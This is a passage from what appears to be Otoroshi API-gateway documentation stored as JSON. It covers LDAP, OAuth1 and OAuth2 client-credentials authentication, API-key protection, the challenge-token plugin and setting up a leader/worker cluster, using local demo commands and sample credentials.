Baz as scientist.\n\n```sh\necho -e \"\ndn: ou=People,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: organizationalUnit\nou: People\n\ndn: ou=Role,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: organizationalUnit\nou: Role\n\ndn: uid=john,ou=People,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: person\nobjectclass: organizationalPerson\nobjectclass: inetOrgPerson\nuid: john\ncn: John\nsn: Brown\nmail: john@otoroshi.tools\npostalCode: 88442\nuserPassword: password\n\ndn: uid=baz,ou=People,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: person\nobjectclass: organizationalPerson\nobjectclass: inetOrgPerson\nuid: baz\ncn: Baz\nsn: Wilson\nmail: baz@otoroshi.tools\npostalCode: 88443\nuserPassword: password\n\ndn: cn=singers,ou=Role,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: groupOfNames\ncn: singers\nmember: uid=john,ou=People,dc=otoroshi,dc=tools\n\ndn: cn=scientists,ou=Role,dc=otoroshi,dc=tools\nobjectclass: top\nobjectclass: groupOfNames\ncn: scientists\nmember: uid=baz,ou=People,dc=otoroshi,dc=tools\n\" > bootstrap.ldif\n\nldapadd -x -w otoroshi -D \"cn=admin,dc=otoroshi,dc=tools\" -f bootstrap.ldif -v\n```\n\n### Create an Authentication configuration\n\n- Go ahead, and navigate to @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new }\n- Click on the cog icon on the top right\n- Then `Authentication configs` button\n- And add a new configuration when clicking on the `Add item` button\n- Select the `Ldap auth. provider` in the type selector field\n- Set a basic name and description\n- Then set `ldap://localhost:389` as `LDAP Server URL`and `dc=otoroshi,dc=tools` as `Search Base`\n- Create a group filter (in the next part, we'll change this filter to spread users in different groups with given rights) with \n - objectClass=groupOfNames as `Group filter` \n - All as `Tenant`\n - All as `Team`\n - Read/Write as `Rights`\n- Set the search filter as `(uid=${username})`\n- Set `cn=admin,dc=otoroshi,dc=tools` as `Admin username`\n- Set `otoroshi` as `Admin password`\n- At the bottom of the page, disable the `secure` button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)\n\n\n At this point, your configuration should be similar to :\n \n\n\n\n> Dont' forget to save on the bottom page your configuration before to quit the page.\n\n- Test the connection when clicking on `Test admin connection` button. This should show a `It works!` message\n\n- Finally, test the user connection button and set `john/password` or `baz/password` as credentials. This should show a `It works!` message\n\n> Dont' forget to save on the bottom page your configuration before to quit the page.\n\n\n### Connect to Otoroshi with LDAP authentication\n\nTo secure Otoroshi with your LDAP configuration, we have to register an **Authentication configuration** as a BackOffice Auth. configuration.\n\n- Navigate to the **danger zone** (when clicking on the cog on the top right and selecting Danger zone)\n- Scroll to the **BackOffice auth. settings**\n- Select your last Authentication configuration (created in the previous section)\n- Save the global configuration with the button on the top right\n\n### Testing your configuration\n\n- Disconnect from your instance\n- Then click on the **Login using third-party** button (or navigate to @link:[http://otoroshi.oto.tools:8080/backoffice/auth0/login](http://otoroshi.oto.tools:8080/backoffice/auth0/login) { open=new })\n- Set `john/password` or `baz/password` as credentials\n\n> A fallback solution is always available in the event of a bad authentication configuration. By going to http://otoroshi.oto.tools:8080/bo/simple/login, the administrators will be able to redefine the configuration.\n\n\n#### Secure an app with LDAP authentication\n\nOnce the configuration is done, you can secure any of Otoroshi routes. \n\n- Navigate to any created route\n- Add the `Authentication` plugin to your route\n- Select your Authentication config inside the list\n- Save your configuration\n\nNow try to call your route. The login module should appear.\n\n#### Manage LDAP users rights on Otoroshi\n\nFor each group filter, you can affect a list of rights:\n\n- on an `Organization`\n- on a `Team`\n- and a level of rights : `Read`, `Write` or `Read/Write`\n\n\nStart by navigate to your authentication configuration (created in @ref:[previous](#create-an-authentication-configuration) step).\n\nThen, replace the values of the `Mapping group filter` field to match LDAP groups with Otoroshi rights.\n\n\n\n\nWith this configuration, Baz is an administrator of Otoroshi with full rights (read / write) on all organizations.\n\nConversely, John can't see any configuration pages (like the danger zone) because he has only the read rights on Otoroshi.\n\nYou can easily test this behaviour by @ref:[testing](#testing-your-configuration) with both credentials.\n\n\n#### Advanced usage of LDAP Authentication\n\nIn the previous section, we have define rights for each LDAP groups. But in some case, we want to have a finer granularity like set rights for a specific user. The last 4 fields of the authentication form cover this. \n\nLet's start by adding few properties for each connected users with `Extra metadata`.\n\n```json\n// Add this configuration in extra metadata part\n{\n \"provider\": \"OpenLDAP\"\n}\n```\n\nThe next field `Data override` is merged with extra metadata when a user connects to a `private app` or to the UI (inside Otoroshi, private app is a service secure by any authentication module). The `Email field name` is configured to match with the `mail` field from LDAP user data.\n\n```json \n{\n \"john@otoroshi.tools\": {\n \"stage_name\": \"Will\"\n }\n}\n```\n\nIf you try to connect to an app with this configuration, the user result profile should be :\n\n```json\n{\n ...,\n \"metadata\": {\n \"lastname\": \"Willy\",\n \"stage_name\": \"Will\"\n }\n}\n```\n\nLet's try to increase the John rights with the `Additional rights group`.\n\nThis field supports the creation of virtual groups. A virtual group is composed of a list of users and a list of rights for each teams/organizations.\n\n```json\n// increase_john_rights is a virtual group which adds full access rights at john \n{\n \"increase_john_rights\": {\n \"rights\": [\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\"\n ]\n }\n ],\n \"users\": [\n \"john@otoroshi.tools\"\n ]\n }\n}\n```\n\nThe last field `Rights override` is useful when you want erase the rights of an user with only specific rights. This field is the last to be applied on the user rights. \n\nTo resume, when John connects to Otoroshi, he receives the rights to only read the default Organization (from **Mapping group filter**), then he is promote to administrator role (from **Additional rights group**) and finally his rights are reset with the last field **Rights override** to the read rights.\n\n```json \n{\n \"john@otoroshi.tools\": [\n {\n \"tenant\": \"*:r\",\n \"teams\": [\n \"*:r\"\n ]\n }\n ]\n}\n```\n\n\n\n\n\n\n\n\n" + }, + { + "name": "secure-the-communication-between-a-backend-app-and-otoroshi.md", + "id": "/how-to-s/secure-the-communication-between-a-backend-app-and-otoroshi.md", + "url": "/how-to-s/secure-the-communication-between-a-backend-app-and-otoroshi.html", + "title": "Secure the communication between a backend app and Otoroshi", + "content": "# Secure the communication between a backend app and Otoroshi\n\n
\nRoute plugins:\nOtoroshi challenge token\n
\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\nLet's create a new route with the Otorochi challenge plugin enabled.\n\n```sh\ncurl -X POST http://otoroshi-api.oto.tools:8080/api/routes \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"myapi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"localhost\",\n \"port\": 8081,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.OtoroshiChallenge\",\n \"config\": {\n \"version\": 2,\n \"ttl\": 30,\n \"request_header_name\": \"Otoroshi-State\",\n \"response_header_name\": \"Otoroshi-State-Resp\",\n \"algo_to_backend\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"algo_from_backend\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"state_resp_leeway\": 10\n }\n }\n ]\n}\nEOF\n```\n\nLet's use the following application, developed in NodeJS, which supports both versions of the exchange protocol.\n\nClone this @link:[repository](https://github.com/MAIF/otoroshi/blob/master/demos/challenge) and run the installation of the dependencies.\n\n```sh\ngit clone 'git@github.com:MAIF/otoroshi.git' --depth=1\ncd ./otoroshi/demos/challenge\nnpm install\nPORT=8081 node server.js\n```\n\nThe last command should return : \n\n```sh\nchallenge-verifier listening on http://0.0.0.0:8081\n```\n\nThis project runs an express client with one middleware. The middleware handles each request, and check if the header `State token header` is present in headers. By default, the incoming expected header is `Otoroshi-State` by the application and `Otoroshi-State-Resp` header in the headers of the return request. \n\nTry to call your service via http://myapi.oto.tools:8080/. This should return a successful response with all headers received by the backend app. \n\nNow try to disable the middleware in the nodejs file by commenting the following line. \n\n```js\n// app.use(OtoroshiMiddleware());\n```\n\nTry to call again your service. This time, Otoroshi breaks the return response from your backend service, and returns.\n\n```sh\nDownstream microservice does not seems to be secured. Cancelling request !\n```" + }, + { + "name": "secure-with-apikey.md", + "id": "/how-to-s/secure-with-apikey.md", + "url": "/how-to-s/secure-with-apikey.html", + "title": "Secure an api with api keys", + "content": "# Secure an api with api keys\n\n
\nRoute plugins:\nApikeys\n
\n\n### Before you start\n\n@@include[fetch-and-start.md](../includes/fetch-and-start.md) { #init }\n\n### Create a simple route\n\n**From UI**\n\n1. Navigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/routes](http://otoroshi.oto.tools:8080/bo/dashboard/routes) { open=new } and click on the `create new route` button\n2. Give a name to your route\n3. Save your route\n4. Set `myservice.oto.tools` as frontend domains\n5. Set `https://mirror.otoroshi.io` as backend target (hostname: `mirror.otoroshi.io`, port: `443`, Tls: `Enabled`)\n\n**From Admin API**\n\n```sh\ncurl -X POST http://otoroshi-api.oto.tools:8080/api/routes \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"id\": \"myservice\",\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"myservice.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n }\n}\nEOF\n```\n\n### Secure routes with api key\n\nBy default, a route is public. In our case, we want to secure all paths starting with `/api` and leave all others unauthenticated.\n\nLet's add a new plugin, called `Apikeys`, to our route. Search in the list of plugins, then add it to the flow.\nOnce done, restrict its range by setting up `/api` in the `Informations>include` section.\n\n**From Admin API**\n\n```sh\ncurl -X PUT http://otoroshi-api.oto.tools:8080/api/routes/myservice \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"id\": \"myservice\",\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"myservice.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"enabled\": true,\n \"plugin\": \"cp:otoroshi.next.plugins.ApikeyCalls\",\n \"include\": [\n \"/api\"\n ],\n \"config\": {\n \"validate\": true,\n \"mandatory\": true,\n \"wipe_backend_request\": true,\n \"update_quotas\": true\n }\n }\n ]\n}\nEOF\n```\n\nNavigate to @link:[http://myservice.oto.tools:8080/api/test](http://myservice.oto.tools:8080/api/test) { open=new } again. If the service is configured, you should have a `Service Not found error`.\n\nThe expected error on the `/api/test`, indicate that an api key is required to access to this part of the backend service.\n\nNavigate to any other routes which are not starting by `/api/*` like @link:[http://myservice.oto.tools:8080/test/bar](http://myservice.oto.tools:8080/test/bar) { open=new }\n\n\n### Generate an api key to request secure services\n\nNavigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/apikeys/add](http://otoroshi.oto.tools:8080/bo/dashboard/apikeys/add) { open=new } or when clicking on the **Add apikey** button on the sidebar.\n\nThe only required fields of an Otoroshi api key are : \n\n* `ApiKey id`\n* `ApiKey Secret`\n* `ApiKey Name`\n\nThese fields are automatically generated by Otoroshi. However, you can override these values and indicate an additional description.\n\nTo simplify the rest of the tutorial, set the values:\n\n* `my-first-api-key-id` as `ApiKey Id`\n* `my-first-api-key-secret` as `ApiKey Secret`\n\nClick on **Create and stay on this ApiKey** button at the bottom of the page.\n\nNow you created the key, it's time to call our previous generated service with it.\n\nOtoroshi supports 4 methods to achieve that: \n\nFirst one by passing Otoroshi api key in two headers : `Otoroshi-Client-Id` and `Otoroshi-Client-Secret` (these headers names can be override on each service).\nThe second by passing Otoroshi api key in the authentication Header (basically the `Authorization` header) as a basic encoded value. The third option is to use the bearer generated for your apikey (you can get it by calling `curl http://otoroshi-api.oto.tools:8080/api/apikeys/my-first-api-key-id/bearer`). A fourth option is to use jwt token but we will not review it here but you can find a @ref[tutorial here](./secure-with-oauth2-client-credentials.md).\n\nLet's go ahead and call our service with the first method :\n\n```sh\ncurl -X GET \\\n -H 'Otoroshi-Client-Id: my-first-api-key-id' \\\n -H 'Otoroshi-Client-Secret: my-first-api-key-secret' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nthen with the second method using basic authentication:\n\n```sh\ncurl -X GET \\\n -H 'Authorization: Basic bXktZmlyc3QtYXBpLWtleS1pZDpteS1maXJzdC1hcGkta2V5LXNlY3JldA==' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nor\n\n```sh\ncurl -X GET \\\n -u my-first-api-key-id:my-first-api-key-secret \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nthen with the third method using otoroshi bearer:\n\n```sh\ncurl -X GET \\\n -H 'Authorization: Bearer otoapk_my-first-api-key-id_99cb8e081d692044593ad0e658a67a5114f7afbdcbeb26f8087cce0df3b610b2' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\n> Tips : To easily fill your headers, you can jump to the `Call examples` section in each api key view. In this section the header names are the default values and the service url is not set. You have to adapt these lines to your case. \n\n### Override defaults headers names for a route\n\nIn some case, we want to change the defaults headers names (and it's a quite good idea).\n\nLet's start by navigating to the `Apikeys` plugin in the Designer of our route.\n\nThe first values to change are the headers names used to read the api key from client. Start by clicking on `extractors > CustomHeaders` and set the following values :\n\n* `api-key-header-id` as `Custom client id header name`\n* `api-key-header-secret` as `Custom client secret header name`\n\nSave the route, and call the service again.\n\n```sh\ncurl -X GET \\\n -H 'Otoroshi-Client-Id: my-first-api-key-id' \\\n -H 'Otoroshi-Client-Secret: my-first-api-key-secret' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nThis should output an error because Otoroshi are expecting the api keys in other headers.\n\n```json\n{\n \"Otoroshi-Error\": \"No ApiKey provided\"\n}\n```\n\nCall one again the service but with the changed headers names.\n\n```sh\ncurl -X GET \\\n -H 'api-key-header-id: my-first-api-key-id' \\\n -H 'api-key-header-secret: my-first-api-key-secret' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nAll others default services will continue to accept the api keys with the `Otoroshi-Client-Id` and `Otoroshi-Client-Secret` headers, whereas our service, will accept the `api-key-header-id` and `api-key-header-secret` headers.\n\n### Accept only api keys with expected values\n\nBy default, a secure service only accepts requests with api key. But all generated api keys are eligible to call our service and in some case, we want authorize only a couple of api keys.\n\nYou can restrict the list of accepted api keys by giving a list of `metadata` or/and `tags`. Each api key has a list of `tags` and `metadata`, which can be used by Otoroshi to validate a request with an api key. All api key metadata/tags can be forward to your service (see `Otoroshi Challenge` section of a service to get more information about `Otoroshi info. token`).\n\nLet's starting by only accepting api keys with the `otoroshi` tag.\n\nClick on the `ApiKeys` plugin, and enabled the `Routing` section. These constraints guarantee that a request will only be transmitted if all the constraints are validated.\n\nIn our first case, set `otoroshi` in `One Tag in` array and save the service.\nThen call our service with :\n```sh\ncurl -X GET \\\n -H 'Otoroshi-Client-Id: my-first-api-key-id' \\\n -H 'Otoroshi-Client-Secret: my-first-api-key-secret' \\\n 'http://myservice.oto.tools:8080/api/test' --include\n```\n\nThis should output :\n```json\n// Error reason : Our api key doesn't contains the expected tag.\n{\n \"Otoroshi-Error\": \"Bad API key\"\n}\n```\n\nNavigate to the edit page of our api key, and jump to the `Metadata and tags` section.\nIn this section, add `otoroshi` in `Tags` array, then save the api key. Call once again your call and you will normally get a successful response of our backend service.\n\nIn this example, we have limited our service to API keys that have `otoroshi` as a tag.\n\nOtoroshi provides a few others behaviours. For each behaviour, *Api key used should*:\n\n* `All Tags in` : have all of the following tags\n* `No Tags in` : not have one of the following tags\n* `One Tag in` : have at least one of the following tags\n\n---\n\n* `All Meta. in` : have all of the following metadata entries\n* `No Meta. in` : not have one of the following metadata entries\n* `One Meta. in` : have at least one of the following metadata entries\n \n----\n\n* `One Meta key in` : have at least one of the following key in metadata\n* `All Meta key in` : have all of the following keys in metadata\n* `No Meta key in` : not have one of the following keys in metadata" + }, + { + "name": "secure-with-oauth1-client.md", + "id": "/how-to-s/secure-with-oauth1-client.md", + "url": "/how-to-s/secure-with-oauth1-client.html", + "title": "Secure an app with OAuth1 client flow", + "content": "# Secure an app with OAuth1 client flow\n\n
\nRoute plugins:\nAuthentication\n
\n\n### Before you start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Running an simple OAuth 1 server\n\nIn this tutorial, we'll instantiate a oauth 1 server with docker. If you alredy have the necessary, skip this section @ref:[to](#create-an-oauth-1-provider-module).\n\nLet's start by running the server\n\n```sh\ndocker run -d --name oauth1-server --rm \\\n -p 5000:5000 \\\n -e OAUTH1_CLIENT_ID=2NVVBip7I5kfl0TwVmGzTphhC98kmXScpZaoz7ET \\\n -e OAUTH1_CLIENT_SECRET=wXzb8tGqXNbBQ5juA0ZKuFAmSW7RwOw8uSbdE3MvbrI8wjcbGp \\\n -e OAUTH1_REDIRECT_URI=http://otoroshi.oto.tools:8080/backoffice/auth0/callback \\\n ghcr.io/beryju/oauth1-test-server\n```\n\nWe created a oauth 1 server which accepts `http://otoroshi.oto.tools:8080/backoffice/auth0/callback` as `Redirect URI`. This URL is used by Otoroshi to retrieve a token and a profile at the end of an authentication process.\n\nAfter this command, the container logs should output :\n```sh \n127.0.0.1 - - [14/Oct/2021 12:10:49] \"HEAD /api/health HTTP/1.1\" 200 -\n```\n\n### Create an OAuth 1 provider module\n\n1. Go ahead, and navigate to @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new }\n1. Click on the cog icon on the top right\n1. Then **Authentication configs** button\n1. And add a new configuration when clicking on the **Add item** button\n2. Select the `Oauth1 provider` in the type selector field\n3. Set a basic name and description like `oauth1-provider`\n4. Set `2NVVBip7I5kfl0TwVmGzTphhC98kmXScpZaoz7ET` as `Consumer key`\n5. Set `wXzb8tGqXNbBQ5juA0ZKuFAmSW7RwOw8uSbdE3MvbrI8wjcbGp` as `Consumer secret`\n6. Set `http://localhost:5000/oauth/request_token` as `Request Token URL`\n7. Set `http://localhost:5000/oauth/authorize` as `Authorize URL`\n8. Set `http://localhost:oauth/access_token` as `Access token URL`\n9. Set `http://localhost:5000/api/me` as `Profile URL`\n10. Set `http://otoroshi.oto.tools:8080/backoffice/auth0/callback` as `Callback URL`\n11. At the bottom of the page, disable the **secure** button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)\n\n At this point, your configuration should be similar to :\n\n\n\n\nWith this configuration, the connected user will receive default access on teams and organizations. If you want to change the access rights for a specific user, you can achieve it with the `Rights override` field and a configuration like :\n\n```json\n{\n \"foo@example.com\": [\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\"\n ]\n }\n ]\n}\n```\n\nSave your configuration at the bottom of the page, then navigate to the `danger zone` to use your module as a third-party connection to the Otoroshi UI.\n\n### Connect to Otoroshi with OAuth1 authentication\n\nTo secure Otoroshi with your OAuth1 configuration, we have to register an Authentication configuration as a BackOffice Auth. configuration.\n\n1. Navigate to the **danger zone** (when clicking on the cog on the top right and selecting Danger zone)\n1. Scroll to the **BackOffice auth. settings**\n1. Select your last Authentication configuration (created in the previous section)\n1. Save the global configuration with the button on the top right\n\n### Testing your configuration\n\n1. Disconnect from your instance\n1. Then click on the **Login using third-party** button (or navigate to http://otoroshi.oto.tools:8080)\n2. Click on **Login using Third-party** button\n3. If all is configured, Otoroshi will redirect you to the oauth 1 server login page\n4. Set `example-user` as user and trust the user by clicking on `yes` button.\n5. Good work! You're connected to Otoroshi with an OAuth1 module.\n\n> A fallback solution is always available in the event of a bad authentication configuration. By going to http://otoroshi.oto.tools:8080/bo/simple/login, the administrators will be able to redefine the configuration.\n\n### Secure an app with OAuth 1 authentication\n\nWith the previous configuration, you can secure any of Otoroshi services with it. \n\nThe first step is to apply a little change on the previous configuration. \n\n1. Navigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/auth-configs](http://otoroshi.oto.tools:8080/bo/dashboard/auth-configs) { open=new }.\n2. Create a new auth module configuration with the same values.\n3. Replace the `Callback URL` field to `http://privateapps.oto.tools:8080/privateapps/generic/callback` (we changed this value because the redirection of a logged user by a third-party server is cover by an other route by Otoroshi).\n4. Disable the `secure` button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)\n\n> Note : an Otoroshi service is called a private app when it is protected by an authentication module.\n\nOur example server supports only one redirect URI. We need to kill it, and to create a new container with `http://otoroshi.oto.tools:8080/privateapps/generic/callback` as `OAUTH1_REDIRECT_URI`\n\n```sh\ndocker rm -f oauth1-server\ndocker run -d --name oauth1-server --rm \\\n -p 5000:5000 \\\n -e OAUTH1_CLIENT_ID=2NVVBip7I5kfl0TwVmGzTphhC98kmXScpZaoz7ET \\\n -e OAUTH1_CLIENT_SECRET=wXzb8tGqXNbBQ5juA0ZKuFAmSW7RwOw8uSbdE3MvbrI8wjcbGp \\\n -e OAUTH1_REDIRECT_URI=http://privateapps.oto.tools:8080/privateapps/generic/callback \\\n ghcr.io/beryju/oauth1-test-server\n```\n\nOnce the authentication module and the new container created, we can define the authentication module on the service.\n\n1. Navigate to any created route\n2. Search in the list of plugins the plugin named `Authentication`\n3. Select your Authentication config inside the list\n4. Don't forget to save your configuration.\n\nNow you can try to call your route and see the login module appears.\n\n> \n\nThe allow access to the user.\n\n> \n\nIf you had any errors, make sure of :\n\n* check if you are on http or https, and if the **secure cookie option** is enabled or not on the authentication module\n* check if your OAuth1 server has the REDIRECT_URI set on **privateapps/...**\n* Make sure your server supports POST or GET OAuth1 flow set on authentication module\n\nOnce the configuration is working, you can check, when connecting with an Otoroshi admin user, the `Private App session` created (use the cog at the top right of the page, and select `Priv. app sesssions`, or navigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/sessions/private](http://otoroshi.oto.tools:8080/bo/dashboard/sessions/private) { open=new }).\n\nOne interesing feature is to check the profile of the connected user. In our case, when clicking on the `Profile` button of the right user, we should have : \n\n```json\n{\n \"email\": \"foo@example.com\",\n \"id\": 1,\n \"name\": \"test name\",\n \"screen_name\": \"example-user\"\n}\n```" + }, + { + "name": "secure-with-oauth2-client-credentials.md", + "id": "/how-to-s/secure-with-oauth2-client-credentials.md", + "url": "/how-to-s/secure-with-oauth2-client-credentials.html", + "title": "Secure an app with OAuth2 client_credential flow", + "content": "# Secure an app with OAuth2 client_credential flow\n\n\n\nOtoroshi makes it easy for your app to implement the [OAuth2 Client Credentials Flow](https://auth0.com/docs/authorization/flows/client-credentials-flow). \n\nWith machine-to-machine (M2M) applications, the system authenticates and authorizes the app rather than a user. With the client credential flow, applications will pass along their Client ID and Client Secret to authenticate themselves and get a token.\n\n## Deployed the Client Credential Service\n\nThe Client Credential Service must be enabled as a global plugin on your Otoroshi instance. Once enabled, it will expose three endpoints to issue and validate tokens for your routes.\n\nLet's navigate to your otoroshi instance (in our case http://otoroshi.oto.tools:8080) on the danger zone (`top right cog icon / Danger zone` or at [/bo/dashboard/dangerzone](http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone)).\n\nTo enable a plugin in global on Otoroshi, you must add it in the `Global Plugins` section.\n\n1. Open the `Global Plugin` section \n2. Click on `enabled` (if not already done)\n3. Search the plugin named `Client Credential Service` of type `Sink` (you need to enabled it on the old or new Otoroshi engine, depending on your use case)\n4. Inject the default configuration by clicking on the button (if you are using the old Otoroshi engine)\n\nIf you click on the arrow near each plugin, you will have the documentation of the plugin and its default configuration.\n\nThe client credential plugin has by default 4 parameters : \n\n* `domain`: a regex used to expose the three endpoints (`default`: *)\n* `expiration`: duration until the token expire (in ms) (`default`: 3600000)\n* `defaultKeyPair`: a key pair used to sign the jwt token. By default, Otoroshi is deployed with an otoroshi-jwt-signing that you can visualize on the jwt verifiers certificates (`default`: \"otoroshi-jwt-signing\")\n* `secure`: if enabled, Otoroshi will expose routes only in the https requests case (`default`: true)\n\nIn this tutorial, we will set the configuration as following : \n\n* `domain`: oauth.oto.tools\n* `expiration`: 3600000\n* `defaultKeyPair`: otoroshi-jwt-signing\n* `secure`: false\n\nNow that the plugin is running, third routes are exposed on each matching domain of the regex.\n\n* `GET /.well-known/otoroshi/oauth/jwks.json` : retrieve all public keys presents in Otoroshi\n* `POST /.well-known/otoroshi/oauth/token/introspect` : validate and decode the token \n* `POST /.well-known/otoroshi/oauth/token` : generate a token with the fields provided\n\nOnce the global configuration saved, we can deployed a simple service to test it.\n\nLet's navigate to the routes page, and create a new route with : \n\n1. `foo.oto.tools` as `domain` in the frontend node\n2. `mirror.otoroshi.io` as hostname in the list of targets of the backend node, and `443` as `port`.\n3. Search in the list of plugins and add the `Apikeys` plugin to the flow\n4. In the extractors section of the `Apikeys` plugin, disabled the `Basic`, `Client id` and `Custom headers` option.\n5. Save your route\n\nLet's make a first call, to check if the jwks are already exposed :\n\n```sh\ncurl 'http://oauth.oto.tools:8080/.well-known/otoroshi/oauth/jwks.json'\n```\n\nThe output should look like a list of public keys : \n```sh\n{\n \"keys\": [\n {\n \"kty\": \"RSA\",\n \"e\": \"AQAB\",\n \"kid\": \"otoroshi-intermediate-ca\",\n ...\n }\n ...\n ]\n}\n``` \n\nLet's make a call to your route. \n\n```sh\ncurl 'http://foo.oto.tools:8080/'\n```\n\nThis should output the expected error: \n```json\n{\n \"Otoroshi-Error\": \"No ApiKey provided\"\n}\n```\n\nThe first step is to generate an api key. Navigate to the api keys page, and create an item with the following values (it will be more easy to use them in the next step)\n\n* `my-id` as `ApiKey Id`\n* `my-secret` as `ApiKey Secret`\n\nThe next step is to get a token by calling the endpoint `http://oauth.oto.tools:8080/.well-known/otoroshi/oauth/jwks.json`. The required fields are the grand type, the client and the client secret corresponding to our generated api key.\n\n```sh\ncurl -X POST http://oauth.oto.tools:8080/.well-known/otoroshi/oauth/token \\\n-H \"Content-Type: application/json\" \\\n-d @- <<'EOF'\n{\n \"grant_type\": \"client_credentials\",\n \"client_id\":\"my-id\",\n \"client_secret\":\"my-secret\"\n}\nEOF\n```\n\nThis request have one more optional field, named `scope`. The scope can be used to set a bunch of scope on the generated access token.\n\nThe last command should look like : \n\n```sh\n{\n \"access_token\": \"generated-token-xxxxx\",\n \"token_type\": \"Bearer\",\n \"expires_in\": 3600\n}\n```\n\nNow we can call our api with the generated token\n\n```sh\ncurl 'http://foo.oto.tools:8080/' \\\n -H \"Authorization: Bearer generated-token-xxxxx\"\n```\n\nThis should output a successful call with the list of headers with a field named `Authorization` containing the previous access token.\n\n## Other possible configuration\n\nBy default, Otoroshi generate the access token with the specified key pair in the configuration. But, in some case, you want a specific key pair by client_id/client_secret.\nThe `jwt-sign-keypair` metadata can be set on any api key with the id of the key pair as value. \n" + }, + { + "name": "setup-otoroshi-cluster.md", + "id": "/how-to-s/setup-otoroshi-cluster.md", + "url": "/how-to-s/setup-otoroshi-cluster.html", + "title": "Setup an Otoroshi cluster", + "content": "# Setup an Otoroshi cluster\n\n
\nRoute plugins:\nAdditional Headers In\n
\n\nIn this tutorial, you create an cluster of Otoroshi.\n\n### Summary \n\n1. Deploy an Otoroshi cluster with one leader and 2 workers \n2. Add a load balancer in front of the workers \n3. Validate the installation by adding a header on the requests\n\nLet's start by downloading the latest jar of Otoroshi.\n\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n```\n\nThen create an instance of Otoroshi and indicates with the `otoroshi.cluster.mode` environment variable that it will be the leader.\n\n```sh\njava -Dhttp.port=8091 -Dhttps.port=9091 -Dotoroshi.cluster.mode=leader -jar otoroshi.jar\n```\n\nLet's create two Otoroshi workers, exposed on `:8082/:8092` and `:8083/:8093` ports, and setting the leader URL in the `otoroshi.cluster.leader.urls` environment variable.\n\nThe first worker will listen on the `:8082/:8092` ports\n```sh\njava \\\n -Dotoroshi.cluster.worker.name=worker-1 \\\n -Dhttp.port=8092 \\\n -Dhttps.port=9092 \\\n -Dotoroshi.cluster.mode=worker \\\n -Dotoroshi.cluster.leader.urls.0='http://127.0.0.1:8091' -jar otoroshi.jar\n```\n\nThe second worker will listen on the `:8083/:8093` ports\n```sh\njava \\\n -Dotoroshi.cluster.worker.name=worker-2 \\\n -Dhttp.port=8093 \\\n -Dhttps.port=9093 \\\n -Dotoroshi.cluster.mode=worker \\\n -Dotoroshi.cluster.leader.urls.0='http://127.0.0.1:8091' -jar otoroshi.jar\n```\n\nOnce launched, you can navigate to the @link:[cluster view](http://otoroshi.oto.tools:8091/bo/dashboard/cluster) { open=new }. The cluster is now configured, you can see the 3 instances and some health informations on each instance.\n\nTo complete our installation, we want to spread the incoming requests accross otoroshi worker instances. \n\nIn this tutorial, we will use `haproxy` has a TCP loadbalancer. If you don't have haproxy installed, you can use docker to run an haproxy instance as explained below.\n\nBut first, we need an haproxy configuration file named `haproxy.cfg` with the following content :\n\n```sh\nfrontend front_nodes_http\n bind *:8080\n mode tcp\n default_backend back_http_nodes\n timeout client 1m\n\nbackend back_http_nodes\n mode tcp\n balance roundrobin\n server node1 host.docker.internal:8092 # (1)\n server node2 host.docker.internal:8093 # (1)\n timeout connect 10s\n timeout server 1m\n```\n\nand run haproxy with this config file\n\nno docker\n: @@snip [run.sh](../snippets/cluster-run-ha.sh) { #no_docker }\n\ndocker (on linux)\n: @@snip [run.sh](../snippets/cluster-run-ha.sh) { #docker_linux }\n\ndocker (on macos)\n: @@snip [run.sh](../snippets/cluster-run-ha.sh) { #docker_mac 